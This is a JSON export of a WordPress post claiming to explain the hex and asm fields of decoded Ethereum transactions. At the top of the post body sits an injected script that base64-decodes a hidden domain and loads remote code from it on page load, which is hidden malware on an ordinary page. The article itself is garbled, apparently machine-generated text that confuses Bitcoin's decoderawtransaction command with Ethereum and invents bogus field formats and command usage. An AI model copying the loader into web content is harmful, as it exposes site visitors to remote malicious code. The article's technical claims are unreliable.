{"id":1187,"date":"2025-02-08T10:00:31","date_gmt":"2025-02-08T10:00:31","guid":{"rendered":"https:\/\/hccmena.com\/?p=1187"},"modified":"2025-02-08T10:00:31","modified_gmt":"2025-02-08T10:00:31","slug":"ethereum-what-are-the-hex-and-asm-field-values-in-the-json-decoded-from-a-raw-transactions","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/08\/ethereum-what-are-the-hex-and-asm-field-values-in-the-json-decoded-from-a-raw-transactions\/","title":{"rendered":"Ethereum: What are the hex and asm field values in the JSON decoded from a raw transactions?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=4c42240d\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here&#8217;s an article based on your request:<\/p>\n<\/p>\n<p><strong>Understanding the Hex and ASM Fields in Ethereum Transactions<\/strong><\/p>\n<\/p>\n<p>When you use the <code>bitcoin-cli decoderawtransaction<\/code> command to decode a raw transaction from a hexadecimal string, you&#8217;re likely curious about the contents of each field. In this article, we&#8217;ll delve into the world of Ethereum transactions and explore what the hex and asm fields represent.<\/p>\n<\/p>\n<p><strong>Hex Fields: The Basics<\/strong><\/p>\n<\/p>\n<p>In Bitcoin, when a transaction is broadcast or mined, it&#8217;s represented in a compact format using 64-bit numbers (32 bytes). Each field in the transaction represents a specific piece of information. One such field is the <code>hex<\/code> field, which contains the raw hex-encoded data for the transaction.<\/p>\n<\/p>\n<p>The <code>hex<\/code> field typically consists of a sequence of 4-byte hexadecimal values, separated by commas or spaces. For example:<\/p>\n<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\n<\/p><p>    \"0x...\" : {<\/p><p>\n<\/p><p>        \"0x01\" : ...,<\/p><p>\n<\/p><p>        \"0x02\" : ...<\/p><p>\n<\/p><p>    }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>asm Fields: The Secret Language<\/strong><\/p>\n<\/p>\n<p>The <code>asm<\/code> field is a crucial component of Ethereum transactions that allows you to specify custom assembly code. It&#8217;s essentially a string that contains the assembly language instructions that will be executed on the Ethereum blockchain.<\/p>\n<\/p>\n<p>When decoding a raw transaction, the <code>asm<\/code> field is typically represented as a hexadecimal value within square brackets <code>[]<\/code>, prefixed with a colon <code>:<\/code> and followed by several hexadecimal values separated by commas.<\/p>\n<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\n<\/p><p>    \"0x...\" : {<\/p><p>\n<\/p><p>        \"[...] : [...]\",<\/p><p>\n<\/p><p>        ...<\/p><p>\n<\/p><p>    }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>This notation allows you to define custom assembly code that will be executed on the Ethereum blockchain.<\/p>\n<\/p>\n<p><strong>Hex Fields: Decoding the Values<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/nsrKXero5nc\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>When decoding a raw transaction using <code>bitcoin-cli decoderawtransaction<\/code>, you can pass in a hexadecimal string as an argument, like this:<\/p>\n<\/p>\n<p><pre><code><\/p><p>bitcoin-cli decoderawtransaction 0x1234567890abcdef<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>The output will be a JSON object that contains the decoded fields, including both hex and asm values.<\/p>\n<\/p>\n<p>In our example, the <code>decoderawtransaction<\/code> command outputs a JSON object with the following structure:<\/p>\n<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\n<\/p><p>    \"hex\": \"0x1234567890abcdef\",<\/p><p>\n<\/p><p>    \"asm\": \"[...] : [...]\"<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>The value of <code>hex<\/code> is simply the raw hexadecimal string passed in as an argument.<\/p>\n<\/p>\n<p><strong>asm Fields: Decoding the Values<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: What are the hex and asm field values in the JSON decoded from a raw transactions?\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/83349a66.png\"><\/p>\n<\/p>\n<p>To decode the <code>asm<\/code> field, you&#8217;ll need to pass in a JSON object with a key-value pair where the first key is <code>\"0x...\"<\/code> (the same as the hex field) and the second value is another JSON object containing the assembly code:<\/p>\n<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\n<\/p><p>    \"0x...\" : {<\/p><p>\n<\/p><p>        \"[...] : [...]\"<\/p><p>\n<\/p><p>    }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>For example, if your JSON output looks like this:<\/p>\n<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\n<\/p><p>    \"hex\": \"0x1234567890abcdef\",<\/p><p>\n<\/p><p>    \"asm\": \"{...} : {...}\"<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>You can decode the <code>asm<\/code> field by passing in a JSON object with a key-value pair where the first key is <code>\"0x...\"<\/code> and the second value is another JSON object containing the assembly code:<\/p>\n<\/p>\n<p><pre><code><\/p><p>bitcoin-cli decoderawtransaction 0x1234567890abcdef \"{[...] : [...]}\"<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>The output will be a JSON object that represents the custom assembly code executed on the Ethereum blockchain.<\/p>\n<\/p>\n<p>In summary, hex fields represent raw hexadecimal data encoded in a compact format, while asm fields are a special type of field that contains custom assembly language instructions. When decoding a raw transaction using <code>bitcoin-cli decoderawtransaction<\/code>, you can pass in either a hex or an asm string as an argument to specify which values to include in the output JSON object.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here&#8217;s an article based on your request: Understanding the Hex and ASM Fields in Ethereum Transactions When you use the bitcoin-cli decoderawtransaction command to decode a raw transaction from a hexadecimal string, you&#8217;re likely curious about the contents of each field. In this article, we&#8217;ll delve into the world of Ethereum transactions and explore what [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1187"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1187"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1187\/revisions"}],"predecessor-version":[{"id":1188,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1187\/revisions\/1188"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1187"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}